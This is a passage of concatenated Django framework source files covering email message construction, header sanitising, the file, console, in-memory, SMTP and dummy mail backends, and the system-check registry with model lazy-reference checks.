        mail.attach_alternative(html_message, 'text/html')
    mail.send(fail_silently=fail_silently)


def mail_managers(subject, message, fail_silently=False, connection=None,
                  html_message=None):
    """Sends a message to the managers, as defined by the MANAGERS setting."""
    if not settings.MANAGERS:
        return
    mail = EmailMultiAlternatives(
        '%s%s' % (settings.EMAIL_SUBJECT_PREFIX, subject), message,
        settings.SERVER_EMAIL, [a[1] for a in settings.MANAGERS],
        connection=connection,
    )
    if html_message:
        mail.attach_alternative(html_message, 'text/html')
    mail.send(fail_silently=fail_silently)






from __future__ import unicode_literals

import mimetypes
import os
import random
import time
from email import (
    charset as Charset, encoders as Encoders, generator, message_from_string,
)
from email.header import Header
from email.message import Message
from email.mime.base import MIMEBase
from email.mime.message import MIMEMessage
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.utils import formatdate, getaddresses, parseaddr
from io import BytesIO

from django.conf import settings
from django.core.mail.utils import DNS_NAME
from django.utils import six
from django.utils.encoding import force_text

# Don't BASE64-encode UTF-8 messages so that we avoid unwanted attention from
# some spam filters.
utf8_charset = Charset.Charset('utf-8')
utf8_charset.body_encoding = None  # Python defaults to BASE64
utf8_charset_qp = Charset.Charset('utf-8')
utf8_charset_qp.body_encoding = Charset.QP

# Default MIME type to use on attachments (if it is not explicitly given
# and cannot be guessed).
DEFAULT_ATTACHMENT_MIME_TYPE = 'application/octet-stream'

RFC5322_EMAIL_LINE_LENGTH_LIMIT = 998


class BadHeaderError(ValueError):
    pass


# Copied from Python 3.2+ standard library, with the following modifications:
# * Used cached hostname for performance.
# TODO: replace with email.utils.make_msgid(.., domain=DNS_NAME) when dropping
# Python 2 (Python 2's version doesn't have domain parameter) (#23905).
def make_msgid(idstring=None, domain=None):
    """Returns a string suitable for RFC 5322 compliant Message-ID, e.g:

    <20020201195627.33539.96671@nightshade.la.mastaler.com>

    Optional idstring if given is a string used to strengthen the
    uniqueness of the message id.  Optional domain if given provides the
    portion of the message id after the '@'.  It defaults to the locally
    defined hostname.
    """
    timeval = time.time()
    utcdate = time.strftime('%Y%m%d%H%M%S', time.gmtime(timeval))
    pid = os.getpid()
    randint = random.randrange(100000)
    if idstring is None:
        idstring = ''
    else:
        idstring = '.' + idstring
    if domain is None:
        # stdlib uses socket.getfqdn() here instead
        domain = DNS_NAME
    msgid = '<%s.%s.%s%s@%s>' % (utcdate, pid, randint, idstring, domain)
    return msgid


# Header names that contain structured address data (RFC #5322)
ADDRESS_HEADERS = {
    'from',
    'sender',
    'reply-to',
    'to',
    'cc',
    'bcc',
    'resent-from',
    'resent-sender',
    'resent-to',
    'resent-cc',
    'resent-bcc',
}


def forbid_multi_line_headers(name, val, encoding):
    """Forbids multi-line headers, to prevent header injection."""
    encoding = encoding or settings.DEFAULT_CHARSET
    val = force_text(val)
    if '\n' in val or '\r' in val:
        raise BadHeaderError("Header values can't contain newlines (got %r for header %r)" % (val, name))
    try:
        val.encode('ascii')
    except UnicodeEncodeError:
        if name.lower() in ADDRESS_HEADERS:
            val = ', '.join(sanitize_address(addr, encoding) for addr in getaddresses((val,)))
        else:
            val = Header(val, encoding).encode()
    else:
        if name.lower() == 'subject':
            val = Header(val).encode()
    return str(name), val


def split_addr(addr, encoding):
    """
    Split the address into local part and domain, properly encoded.

    When non-ascii characters are present in the local part, it must be
    MIME-word encoded. The domain name must be idna-encoded if it contains
    non-ascii characters.
    """
    if '@' in addr:
        localpart, domain = addr.split('@', 1)
        # Try to get the simplest encoding - ascii if possible so that
        # to@example.com doesn't become =?utf-8?q?to?=@example.com. This
        # makes unit testing a bit easier and more readable.
        try:
            localpart.encode('ascii')
        except UnicodeEncodeError:
            localpart = Header(localpart, encoding).encode()
        domain = domain.encode('idna').decode('ascii')
    else:
        localpart = Header(addr, encoding).encode()
        domain = ''
    return (localpart, domain)


def sanitize_address(addr, encoding):
    """
    Format a pair of (name, address) or an email address string.
    """
    if not isinstance(addr, tuple):
        addr = parseaddr(force_text(addr))
    nm, addr = addr
    localpart, domain = None, None
    nm = Header(nm, encoding).encode()
    try:
        addr.encode('ascii')
    except UnicodeEncodeError:  # IDN or non-ascii in the local part
        localpart, domain = split_addr(addr, encoding)

    if six.PY2:
        # On Python 2, use the stdlib since `email.headerregistry` doesn't exist.
        from email.utils import formataddr
        if localpart and domain:
            addr = '@'.join([localpart, domain])
        return formataddr((nm, addr))

    # On Python 3, an `email.headerregistry.Address` object is used since
    # email.utils.formataddr() naively encodes the name as ascii (see #25986).
    from email.headerregistry import Address
    from email.errors import InvalidHeaderDefect, NonASCIILocalPartDefect

    if localpart and domain:
        address = Address(nm, username=localpart, domain=domain)
        return str(address)

    try:
        address = Address(nm, addr_spec=addr)
    except (InvalidHeaderDefect, NonASCIILocalPartDefect):
        localpart, domain = split_addr(addr, encoding)
        address = Address(nm, username=localpart, domain=domain)
    return str(address)


class MIMEMixin():
    def as_string(self, unixfrom=False, linesep='\n'):
        """Return the entire formatted message as a string.
        Optional `unixfrom' when True, means include the Unix From_ envelope
        header.

        This overrides the default as_string() implementation to not mangle
        lines that begin with 'From '. See bug #13433 for details.
        """
        fp = six.StringIO()
        g = generator.Generator(fp, mangle_from_=False)
        if six.PY2:
            g.flatten(self, unixfrom=unixfrom)
        else:
            g.flatten(self, unixfrom=unixfrom, linesep=linesep)
        return fp.getvalue()

    if six.PY2:
        as_bytes = as_string
    else:
        def as_bytes(self, unixfrom=False, linesep='\n'):
            """Return the entire formatted message as bytes.
            Optional `unixfrom' when True, means include the Unix From_ envelope
            header.

            This overrides the default as_bytes() implementation to not mangle
            lines that begin with 'From '. See bug #13433 for details.
            """
            fp = BytesIO()
            g = generator.BytesGenerator(fp, mangle_from_=False)
            g.flatten(self, unixfrom=unixfrom, linesep=linesep)
            return fp.getvalue()


class SafeMIMEMessage(MIMEMixin, MIMEMessage):

    def __setitem__(self, name, val):
        # message/rfc822 attachments must be ASCII
        name, val = forbid_multi_line_headers(name, val, 'ascii')
        MIMEMessage.__setitem__(self, name, val)


class SafeMIMEText(MIMEMixin, MIMEText):

    def __init__(self, _text, _subtype='plain', _charset=None):
        self.encoding = _charset
        if _charset == 'utf-8':
            # Unfortunately, Python doesn't yet pass a Charset instance as
            # MIMEText init parameter to set_payload().
            # http://bugs.python.org/issue27445
            # We do it manually and trigger re-encoding of the payload.
            if six.PY3 and isinstance(_text, bytes):
                # Sniffing encoding would fail with bytes content in MIMEText.__init__.
                _text = _text.decode('utf-8')
            MIMEText.__init__(self, _text, _subtype, None)
            del self['Content-Transfer-Encoding']
            has_long_lines = any(len(l) > RFC5322_EMAIL_LINE_LENGTH_LIMIT for l in _text.splitlines())
            # Quoted-Printable encoding has the side effect of shortening long
            # lines, if any (#22561).
            self.set_payload(_text, utf8_charset_qp if has_long_lines else utf8_charset)
            self.replace_header('Content-Type', 'text/%s; charset="%s"' % (_subtype, _charset))
        elif _charset is None:
            # the default value of '_charset' is 'us-ascii' on Python 2
            MIMEText.__init__(self, _text, _subtype)
        else:
            MIMEText.__init__(self, _text, _subtype, _charset)

    def __setitem__(self, name, val):
        name, val = forbid_multi_line_headers(name, val, self.encoding)
        MIMEText.__setitem__(self, name, val)


class SafeMIMEMultipart(MIMEMixin, MIMEMultipart):

    def __init__(self, _subtype='mixed', boundary=None, _subparts=None, encoding=None, **_params):
        self.encoding = encoding
        MIMEMultipart.__init__(self, _subtype, boundary, _subparts, **_params)

    def __setitem__(self, name, val):
        name, val = forbid_multi_line_headers(name, val, self.encoding)
        MIMEMultipart.__setitem__(self, name, val)


class EmailMessage(object):
    """
    A container for email information.
    """
    content_subtype = 'plain'
    mixed_subtype = 'mixed'
    encoding = None     # None => use settings default

    def __init__(self, subject='', body='', from_email=None, to=None, bcc=None,
                 connection=None, attachments=None, headers=None, cc=None,
                 reply_to=None):
        """
        Initialize a single email message (which can be sent to multiple
        recipients).

        All strings used to create the message can be unicode strings
        (or UTF-8 bytestrings). The SafeMIMEText class will handle any
        necessary encoding conversions.
        """
        if to:
            if isinstance(to, six.string_types):
                raise TypeError('"to" argument must be a list or tuple')
            self.to = list(to)
        else:
            self.to = []
        if cc:
            if isinstance(cc, six.string_types):
                raise TypeError('"cc" argument must be a list or tuple')
            self.cc = list(cc)
        else:
            self.cc = []
        if bcc:
            if isinstance(bcc, six.string_types):
                raise TypeError('"bcc" argument must be a list or tuple')
            self.bcc = list(bcc)
        else:
            self.bcc = []
        if reply_to:
            if isinstance(reply_to, six.string_types):
                raise TypeError('"reply_to" argument must be a list or tuple')
            self.reply_to = list(reply_to)
        else:
            self.reply_to = []
        self.from_email = from_email or settings.DEFAULT_FROM_EMAIL
        self.subject = subject
        self.body = body
        self.attachments = attachments or []
        self.extra_headers = headers or {}
        self.connection = connection

    def get_connection(self, fail_silently=False):
        from django.core.mail import get_connection
        if not self.connection:
            self.connection = get_connection(fail_silently=fail_silently)
        return self.connection

    def message(self):
        encoding = self.encoding or settings.DEFAULT_CHARSET
        msg = SafeMIMEText(self.body, self.content_subtype, encoding)
        msg = self._create_message(msg)
        msg['Subject'] = self.subject
        msg['From'] = self.extra_headers.get('From', self.from_email)
        msg['To'] = self.extra_headers.get('To', ', '.join(map(force_text, self.to)))
        if self.cc:
            msg['Cc'] = ', '.join(map(force_text, self.cc))
        if self.reply_to:
            msg['Reply-To'] = self.extra_headers.get('Reply-To', ', '.join(map(force_text, self.reply_to)))

        # Email header names are case-insensitive (RFC 2045), so we have to
        # accommodate that when doing comparisons.
        header_names = [key.lower() for key in self.extra_headers]
        if 'date' not in header_names:
            # formatdate() uses stdlib methods to format the date, which use
            # the stdlib/OS concept of a timezone, however, Django sets the
            # TZ environment variable based on the TIME_ZONE setting which
            # will get picked up by formatdate().
            msg['Date'] = formatdate(localtime=settings.EMAIL_USE_LOCALTIME)
        if 'message-id' not in header_names:
            # Use cached DNS_NAME for performance
            msg['Message-ID'] = make_msgid(domain=DNS_NAME)
        for name, value in self.extra_headers.items():
            if name.lower() in ('from', 'to'):  # From and To are already handled
                continue
            msg[name] = value
        return msg

    def recipients(self):
        """
        Returns a list of all recipients of the email (includes direct
        addressees as well as Cc and Bcc entries).
        """
        return self.to + self.cc + self.bcc

    def send(self, fail_silently=False):
        """Sends the email message."""
        if not self.recipients():
            # Don't bother creating the network connection if there's nobody to
            # send to.
            return 0
        return self.get_connection(fail_silently).send_messages([self])

    def attach(self, filename=None, content=None, mimetype=None):
        """
        Attaches a file with the given filename and content. The filename can
        be omitted and the mimetype is guessed, if not provided.

        If the first parameter is a MIMEBase subclass it is inserted directly
        into the resulting message attachments.

        For a text/* mimetype (guessed or specified), when a bytes object is
        specified as content, it will be decoded as UTF-8. If that fails,
        the mimetype will be set to DEFAULT_ATTACHMENT_MIME_TYPE and the
        content is not decoded.
        """
        if isinstance(filename, MIMEBase):
            assert content is None
            assert mimetype is None
            self.attachments.append(filename)
        else:
            assert content is not None

            if not mimetype:
                mimetype, _ = mimetypes.guess_type(filename)
                if not mimetype:
                    mimetype = DEFAULT_ATTACHMENT_MIME_TYPE
            basetype, subtype = mimetype.split('/', 1)

            if basetype == 'text':
                if isinstance(content, six.binary_type):
                    try:
                        content = content.decode('utf-8')
                    except UnicodeDecodeError:
                        # If mimetype suggests the file is text but it's actually
                        # binary, read() will raise a UnicodeDecodeError on Python 3.
                        mimetype = DEFAULT_ATTACHMENT_MIME_TYPE

            self.attachments.append((filename, content, mimetype))

    def attach_file(self, path, mimetype=None):
        """
        Attaches a file from the filesystem.

        The mimetype will be set to the DEFAULT_ATTACHMENT_MIME_TYPE if it is
        not specified and cannot be guessed.

        For a text/* mimetype (guessed or specified), the file's content
        will be decoded as UTF-8. If that fails, the mimetype will be set to
        DEFAULT_ATTACHMENT_MIME_TYPE and the content is not decoded.
        """
        filename = os.path.basename(path)

        with open(path, 'rb') as file:
            content = file.read()
            self.attach(filename, content, mimetype)

    def _create_message(self, msg):
        return self._create_attachments(msg)

    def _create_attachments(self, msg):
        if self.attachments:
            encoding = self.encoding or settings.DEFAULT_CHARSET
            body_msg = msg
            msg = SafeMIMEMultipart(_subtype=self.mixed_subtype, encoding=encoding)
            if self.body:
                msg.attach(body_msg)
            for attachment in self.attachments:
                if isinstance(attachment, MIMEBase):
                    msg.attach(attachment)
                else:
                    msg.attach(self._create_attachment(*attachment))
        return msg

    def _create_mime_attachment(self, content, mimetype):
        """
        Converts the content, mimetype pair into a MIME attachment object.

        If the mimetype is message/rfc822, content may be an
        email.Message or EmailMessage object, as well as a str.
        """
        basetype, subtype = mimetype.split('/', 1)
        if basetype == 'text':
            encoding = self.encoding or settings.DEFAULT_CHARSET
            attachment = SafeMIMEText(content, subtype, encoding)
        elif basetype == 'message' and subtype == 'rfc822':
            # Bug #18967: per RFC2046 s5.2.1, message/rfc822 attachments
            # must not be base64 encoded.
            if isinstance(content, EmailMessage):
                # convert content into an email.Message first
                content = content.message()
            elif not isinstance(content, Message):
                # For compatibility with existing code, parse the message
                # into an email.Message object if it is not one already.
                content = message_from_string(content)

            attachment = SafeMIMEMessage(content, subtype)
        else:
            # Encode non-text attachments with base64.
            attachment = MIMEBase(basetype, subtype)
            attachment.set_payload(content)
            Encoders.encode_base64(attachment)
        return attachment

    def _create_attachment(self, filename, content, mimetype=None):
        """
        Converts the filename, content, mimetype triple into a MIME attachment
        object.
        """
        attachment = self._create_mime_attachment(content, mimetype)
        if filename:
            try:
                filename.encode('ascii')
            except UnicodeEncodeError:
                if six.PY2:
                    filename = filename.encode('utf-8')
                filename = ('utf-8', '', filename)
            attachment.add_header('Content-Disposition', 'attachment',
                                  filename=filename)
        return attachment


class EmailMultiAlternatives(EmailMessage):
    """
    A version of EmailMessage that makes it easy to send multipart/alternative
    messages. For example, including text and HTML versions of the text is
    made easier.
    """
    alternative_subtype = 'alternative'

    def __init__(self, subject='', body='', from_email=None, to=None, bcc=None,
                 connection=None, attachments=None, headers=None, alternatives=None,
                 cc=None, reply_to=None):
        """
        Initialize a single email message (which can be sent to multiple
        recipients).

        All strings used to create the message can be unicode strings (or UTF-8
        bytestrings). The SafeMIMEText class will handle any necessary encoding
        conversions.
        """
        super(EmailMultiAlternatives, self).__init__(
            subject, body, from_email, to, bcc, connection, attachments,
            headers, cc, reply_to,
        )
        self.alternatives = alternatives or []

    def attach_alternative(self, content, mimetype):
        """Attach an alternative content representation."""
        assert content is not None
        assert mimetype is not None
        self.alternatives.append((content, mimetype))

    def _create_message(self, msg):
        return self._create_attachments(self._create_alternatives(msg))

    def _create_alternatives(self, msg):
        encoding = self.encoding or settings.DEFAULT_CHARSET
        if self.alternatives:
            body_msg = msg
            msg = SafeMIMEMultipart(_subtype=self.alternative_subtype, encoding=encoding)
            if self.body:
                msg.attach(body_msg)
            for alternative in self.alternatives:
                msg.attach(self._create_mime_attachment(*alternative))
        return msg






"""
Email message and email sending related helper functions.
"""

import socket


# Cache the hostname, but do it lazily: socket.getfqdn() can take a couple of
# seconds, which slows down the restart of the server.
class CachedDnsName(object):
    def __str__(self):
        return self.get_fqdn()

    def get_fqdn(self):
        if not hasattr(self, '_fqdn'):
            self._fqdn = socket.getfqdn()
        return self._fqdn

DNS_NAME = CachedDnsName()






"""Email backend that writes messages to a file."""

import datetime
import os

from django.conf import settings
from django.core.exceptions import ImproperlyConfigured
from django.core.mail.backends.console import \
    EmailBackend as ConsoleEmailBackend
from django.utils import six


class EmailBackend(ConsoleEmailBackend):
    def __init__(self, *args, **kwargs):
        self._fname = None
        if 'file_path' in kwargs:
            self.file_path = kwargs.pop('file_path')
        else:
            self.file_path = getattr(settings, 'EMAIL_FILE_PATH', None)
        # Make sure self.file_path is a string.
        if not isinstance(self.file_path, six.string_types):
            raise ImproperlyConfigured('Path for saving emails is invalid: %r' % self.file_path)
        self.file_path = os.path.abspath(self.file_path)
        # Make sure that self.file_path is an directory if it exists.
        if os.path.exists(self.file_path) and not os.path.isdir(self.file_path):
            raise ImproperlyConfigured(
                'Path for saving email messages exists, but is not a directory: %s' % self.file_path
            )
        # Try to create it, if it not exists.
        elif not os.path.exists(self.file_path):
            try:
                os.makedirs(self.file_path)
            except OSError as err:
                raise ImproperlyConfigured(
                    'Could not create directory for saving email messages: %s (%s)' % (self.file_path, err)
                )
        # Make sure that self.file_path is writable.
        if not os.access(self.file_path, os.W_OK):
            raise ImproperlyConfigured('Could not write to directory: %s' % self.file_path)
        # Finally, call super().
        # Since we're using the console-based backend as a base,
        # force the stream to be None, so we don't default to stdout
        kwargs['stream'] = None
        super(EmailBackend, self).__init__(*args, **kwargs)

    def write_message(self, message):
        self.stream.write(message.message().as_bytes() + b'\n')
        self.stream.write(b'-' * 79)
        self.stream.write(b'\n')

    def _get_filename(self):
        """Return a unique file name."""
        if self._fname is None:
            timestamp = datetime.datetime.now().strftime("%Y%m%d-%H%M%S")
            fname = "%s-%s.log" % (timestamp, abs(id(self)))
            self._fname = os.path.join(self.file_path, fname)
        return self._fname

    def open(self):
        if self.stream is None:
            self.stream = open(self._get_filename(), 'ab')
            return True
        return False

    def close(self):
        try:
            if self.stream is not None:
                self.stream.close()
        finally:
            self.stream = None






"""
Email backend that writes messages to console instead of sending them.
"""
import sys
import threading

from django.core.mail.backends.base import BaseEmailBackend
from django.utils import six


class EmailBackend(BaseEmailBackend):
    def __init__(self, *args, **kwargs):
        self.stream = kwargs.pop('stream', sys.stdout)
        self._lock = threading.RLock()
        super(EmailBackend, self).__init__(*args, **kwargs)

    def write_message(self, message):
        msg = message.message()
        msg_data = msg.as_bytes()
        if six.PY3:
            charset = msg.get_charset().get_output_charset() if msg.get_charset() else 'utf-8'
            msg_data = msg_data.decode(charset)
        self.stream.write('%s\n' % msg_data)
        self.stream.write('-' * 79)
        self.stream.write('\n')

    def send_messages(self, email_messages):
        """Write all messages to the stream in a thread-safe way."""
        if not email_messages:
            return
        msg_count = 0
        with self._lock:
            try:
                stream_created = self.open()
                for message in email_messages:
                    self.write_message(message)
                    self.stream.flush()  # flush after each message
                    msg_count += 1
                if stream_created:
                    self.close()
            except Exception:
                if not self.fail_silently:
                    raise
        return msg_count






"""
Backend for test environment.
"""

from django.core import mail
from django.core.mail.backends.base import BaseEmailBackend


class EmailBackend(BaseEmailBackend):
    """A email backend for use during test sessions.

    The test connection stores email messages in a dummy outbox,
    rather than sending them out on the wire.

    The dummy outbox is accessible through the outbox instance attribute.
    """
    def __init__(self, *args, **kwargs):
        super(EmailBackend, self).__init__(*args, **kwargs)
        if not hasattr(mail, 'outbox'):
            mail.outbox = []

    def send_messages(self, messages):
        """Redirect messages to the dummy outbox"""
        msg_count = 0
        for message in messages:  # .message() triggers header validation
            message.message()
            mail.outbox.append(message)
            msg_count += 1
        return msg_count






"""Base email backend class."""


class BaseEmailBackend(object):
    """
    Base class for email backend implementations.

    Subclasses must at least overwrite send_messages().

   open() and close() can be called indirectly by using a backend object as a
   context manager:

       with backend as connection:
           # do something with connection
           pass
    """
    def __init__(self, fail_silently=False, **kwargs):
        self.fail_silently = fail_silently

    def open(self):
        """Open a network connection.

        This method can be overwritten by backend implementations to
        open a network connection.

        It's up to the backend implementation to track the status of
        a network connection if it's needed by the backend.

        This method can be called by applications to force a single
        network connection to be used when sending mails. See the
        send_messages() method of the SMTP backend for a reference
        implementation.

        The default implementation does nothing.
        """
        pass

    def close(self):
        """Close a network connection."""
        pass

    def __enter__(self):
        self.open()
        return self

    def __exit__(self, exc_type, exc_value, traceback):
        self.close()

    def send_messages(self, email_messages):
        """
        Sends one or more EmailMessage objects and returns the number of email
        messages sent.
        """
        raise NotImplementedError('subclasses of BaseEmailBackend must override send_messages() method')






"""SMTP email backend class."""
import smtplib
import ssl
import threading

from django.conf import settings
from django.core.mail.backends.base import BaseEmailBackend
from django.core.mail.message import sanitize_address
from django.core.mail.utils import DNS_NAME


class EmailBackend(BaseEmailBackend):
    """
    A wrapper that manages the SMTP network connection.
    """
    def __init__(self, host=None, port=None, username=None, password=None,
                 use_tls=None, fail_silently=False, use_ssl=None, timeout=None,
                 ssl_keyfile=None, ssl_certfile=None,
                 **kwargs):
        super(EmailBackend, self).__init__(fail_silently=fail_silently)
        self.host = host or settings.EMAIL_HOST
        self.port = port or settings.EMAIL_PORT
        self.username = settings.EMAIL_HOST_USER if username is None else username
        self.password = settings.EMAIL_HOST_PASSWORD if password is None else password
        self.use_tls = settings.EMAIL_USE_TLS if use_tls is None else use_tls
        self.use_ssl = settings.EMAIL_USE_SSL if use_ssl is None else use_ssl
        self.timeout = settings.EMAIL_TIMEOUT if timeout is None else timeout
        self.ssl_keyfile = settings.EMAIL_SSL_KEYFILE if ssl_keyfile is None else ssl_keyfile
        self.ssl_certfile = settings.EMAIL_SSL_CERTFILE if ssl_certfile is None else ssl_certfile
        if self.use_ssl and self.use_tls:
            raise ValueError(
                "EMAIL_USE_TLS/EMAIL_USE_SSL are mutually exclusive, so only set "
                "one of those settings to True.")
        self.connection = None
        self._lock = threading.RLock()

    def open(self):
        """
        Ensures we have a connection to the email server. Returns whether or
        not a new connection was required (True or False).
        """
        if self.connection:
            # Nothing to do if the connection is already open.
            return False

        connection_class = smtplib.SMTP_SSL if self.use_ssl else smtplib.SMTP
        # If local_hostname is not specified, socket.getfqdn() gets used.
        # For performance, we use the cached FQDN for local_hostname.
        connection_params = {'local_hostname': DNS_NAME.get_fqdn()}
        if self.timeout is not None:
            connection_params['timeout'] = self.timeout
        if self.use_ssl:
            connection_params.update({
                'keyfile': self.ssl_keyfile,
                'certfile': self.ssl_certfile,
            })
        try:
            self.connection = connection_class(self.host, self.port, **connection_params)

            # TLS/SSL are mutually exclusive, so only attempt TLS over
            # non-secure connections.
            if not self.use_ssl and self.use_tls:
                self.connection.ehlo()
                self.connection.starttls(keyfile=self.ssl_keyfile, certfile=self.ssl_certfile)
                self.connection.ehlo()
            if self.username and self.password:
                self.connection.login(self.username, self.password)
            return True
        except smtplib.SMTPException:
            if not self.fail_silently:
                raise

    def close(self):
        """Closes the connection to the email server."""
        if self.connection is None:
            return
        try:
            try:
                self.connection.quit()
            except (ssl.SSLError, smtplib.SMTPServerDisconnected):
                # This happens when calling quit() on a TLS connection
                # sometimes, or when the connection was already disconnected
                # by the server.
                self.connection.close()
            except smtplib.SMTPException:
                if self.fail_silently:
                    return
                raise
        finally:
            self.connection = None

    def send_messages(self, email_messages):
        """
        Sends one or more EmailMessage objects and returns the number of email
        messages sent.
        """
        if not email_messages:
            return
        with self._lock:
            new_conn_created = self.open()
            if not self.connection:
                # We failed silently on open().
                # Trying to send would be pointless.
                return
            num_sent = 0
            for message in email_messages:
                sent = self._send(message)
                if sent:
                    num_sent += 1
            if new_conn_created:
                self.close()
        return num_sent

    def _send(self, email_message):
        """A helper method that does the actual sending."""
        if not email_message.recipients():
            return False
        encoding = email_message.encoding or settings.DEFAULT_CHARSET
        from_email = sanitize_address(email_message.from_email, encoding)
        recipients = [sanitize_address(addr, encoding) for addr in email_message.recipients()]
        message = email_message.message()
        try:
            self.connection.sendmail(from_email, recipients, message.as_bytes(linesep='\r\n'))
        except smtplib.SMTPException:
            if not self.fail_silently:
                raise
            return False
        return True






# Mail backends shipped with Django.






"""
Dummy email backend that does nothing.
"""

from django.core.mail.backends.base import BaseEmailBackend


class EmailBackend(BaseEmailBackend):
    def send_messages(self, email_messages):
        return len(list(email_messages))






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from itertools import chain

from django.utils.itercompat import is_iterable


class Tags(object):
    """
    Built-in tags for internal checks.
    """
    admin = 'admin'
    caches = 'caches'
    compatibility = 'compatibility'
    database = 'database'
    models = 'models'
    security = 'security'
    signals = 'signals'
    templates = 'templates'
    urls = 'urls'


class CheckRegistry(object):

    def __init__(self):
        self.registered_checks = []
        self.deployment_checks = []

    def register(self, check=None, *tags, **kwargs):
        """
        Can be used as a function or a decorator. Register given function
        `f` labeled with given `tags`. The function should receive **kwargs
        and return list of Errors and Warnings.

        Example::

            registry = CheckRegistry()
            @registry.register('mytag', 'anothertag')
            def my_check(apps, **kwargs):
                # ... perform checks and collect `errors` ...
                return errors
            # or
            registry.register(my_check, 'mytag', 'anothertag')
        """
        kwargs.setdefault('deploy', False)

        def inner(check):
            check.tags = tags
            if kwargs['deploy']:
                if check not in self.deployment_checks:
                    self.deployment_checks.append(check)
            elif check not in self.registered_checks:
                self.registered_checks.append(check)
            return check

        if callable(check):
            return inner(check)
        else:
            if check:
                tags += (check, )
            return inner

    def run_checks(self, app_configs=None, tags=None, include_deployment_checks=False):
        """
        Run all registered checks and return list of Errors and Warnings.
        """
        errors = []
        checks = self.get_checks(include_deployment_checks)

        if tags is not None:
            checks = [check for check in checks
                      if hasattr(check, 'tags') and set(check.tags) & set(tags)]
        else:
            # By default, 'database'-tagged checks are not run as they do more
            # than mere static code analysis.
            checks = [check for check in checks
                      if not hasattr(check, 'tags') or Tags.database not in check.tags]

        for check in checks:
            new_errors = check(app_configs=app_configs)
            assert is_iterable(new_errors), (
                "The function %r did not return a list. All functions registered "
                "with the checks registry must return a list." % check)
            errors.extend(new_errors)
        return errors

    def tag_exists(self, tag, include_deployment_checks=False):
        return tag in self.tags_available(include_deployment_checks)

    def tags_available(self, deployment_checks=False):
        return set(chain(*[check.tags for check in self.get_checks(deployment_checks) if hasattr(check, 'tags')]))

    def get_checks(self, include_deployment_checks=False):
        checks = list(self.registered_checks)
        if include_deployment_checks:
            checks.extend(self.deployment_checks)
        return checks


registry = CheckRegistry()
register = registry.register
run_checks = registry.run_checks
tag_exists = registry.tag_exists






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

import inspect
import types
from itertools import chain

from django.apps import apps
from django.core.checks import Error, Tags, register


@register(Tags.models)
def check_all_models(app_configs=None, **kwargs):
    errors = []
    if app_configs is None:
        models = apps.get_models()
    else:
        models = chain.from_iterable(app_config.get_models() for app_config in app_configs)
    for model in models:
        if not inspect.ismethod(model.check):
            errors.append(
                Error(
                    "The '%s.check()' class method is currently overridden by %r."
                    % (model.__name__, model.check),
                    obj=model,
                    id='models.E020'
                )
            )
        else:
            errors.extend(model.check(**kwargs))
    return errors


def _check_lazy_references(apps, ignore=None):
    """
    Ensure all lazy (i.e. string) model references have been resolved.

    Lazy references are used in various places throughout Django, primarily in
    related fields and model signals. Identify those common cases and provide
    more helpful error messages for them.

    The ignore parameter is used by StateApps to exclude swappable models from
    this check.
    """
    pending_models = set(apps._pending_operations) - (ignore or set())

    # Short circuit if there aren't any errors.
    if not pending_models:
        return []

    from django.db.models import signals
    model_signals = {
        signal: name for name, signal in vars(signals).items()
        if isinstance(signal, signals.ModelSignal)
    }

    def extract_operation(obj):
        """
        Take a callable found in Apps._pending_operations and identify the
        original callable passed to Apps.lazy_model_operation(). If that
        callable was a partial, return the inner, non-partial function and
        any arguments and keyword arguments that were supplied with it.

        obj is a callback defined locally in Apps.lazy_model_operation() and
        annotated there with a `func` attribute so as to imitate a partial.
        """
        operation, args, keywords = obj, [], {}
        while hasattr(operation, 'func'):
            # The or clauses are redundant but work around a bug (#25945) in
            # functools.partial in Python 3 <= 3.5.1 and Python 2 <= 2.7.11.
            args.extend(getattr(operation, 'args', []) or [])
            keywords.update(getattr(operation, 'keywords', {}) or {})
            operation = operation.func
        return operation, args, keywords

    def app_model_error(model_key):
        try:
            apps.get_app_config(model_key[0])
            model_error = "app '%s' doesn't provide model '%s'" % model_key
        except LookupError:
            model_error = "app '%s' isn't installed" % model_key[0]
        return model_error

    # Here are several functions which return CheckMessage instances for the
    # most common usages of lazy operations throughout Django. These functions
    # take the model that was being waited on as an (app_label, modelname)
    # pair, the original lazy function, and its positional and keyword args as
    # determined by extract_operation().

    def field_error(model_key, func, args, keywords):
        error_msg = (
            "The field %(field)s was declared with a lazy reference "
            "to '%(model)s', but %(model_error)s."
        )
        params = {
            'model': '.'.join(model_key),
            'field': keywords['field'],
            'model_error': app_model_error(model_key),
        }
        return Error(error_msg % params, obj=keywords['field'], id='fields.E307')

    def signal_connect_error(model_key, func, args, keywords):
        error_msg = (
            "%(receiver)s was connected to the '%(signal)s' signal with a "
            "lazy reference to the sender '%(model)s', but %(model_error)s."
        )
        receiver = args[0]
        # The receiver is either a function or an instance of class
        # defining a `__call__` method.
        if isinstance(receiver, types.FunctionType):
            description = "The function '%s'" % receiver.__name__
        elif isinstance(receiver, types.MethodType):
            description = "Bound method '%s.%s'" % (receiver.__self__.__class__.__name__, receiver.__name__)
        else:
            description = "An instance of class '%s'" % receiver.__class__.__name__
        signal_name = model_signals.get(func.__self__, 'unknown')
        params = {
            'model': '.'.join(model_key),
            'receiver': description,
            'signal': signal_name,
            'model_error': app_model_error(model_key),
        }
        return Error(error_msg % params, obj=receiver.__module__, id='signals.E001')

    def default_error(model_key, func, args, keywords):
        error_msg = "%(op)s contains a lazy reference to %(model)s, but %(model_error)s."
        params = {
            'op': func,
            'model': '.'.join(model_key),
            'model_error': app_model_error(model_key),
        }
        return Error(error_msg % params, obj=func, id='models.E022')

    # Maps common uses of lazy operations to corresponding error functions
    # defined above. If a key maps to None, no error will be produced.
    # default_error() will be used for usages that don't appear in this dict.
    known_lazy = {
        ('django.db.models.fields.related', 'resolve_related_class'): field_error,
        ('django.db.models.fields.related', 'set_managed'): None,
        ('django.dispatch.dispatcher', 'connect'): signal_connect_error,
    }

    def build_error(model_key, func, args, keywords):
        key = (func.__module__, func.__name__)
        error_fn = known_lazy.get(key, default_error)
        return error_fn(model_key, func, args, keywords) if error_fn else None

    return sorted(filter(None, (
        build_error(model_key, *extract_operation(func))
        for model_key in pending_models
        for func in apps._pending_operations[model_key]
    )), key=lambda error: error.msg)


@register(Tags.models)
def check_lazy_references(app_configs=None, **kwargs):
    return _check_lazy_references(apps)






from __future__ import unicode_literals

from django.conf import settings
from django.core.cache import DEFAULT_CACHE_ALIAS

from . import Error, Tags, register

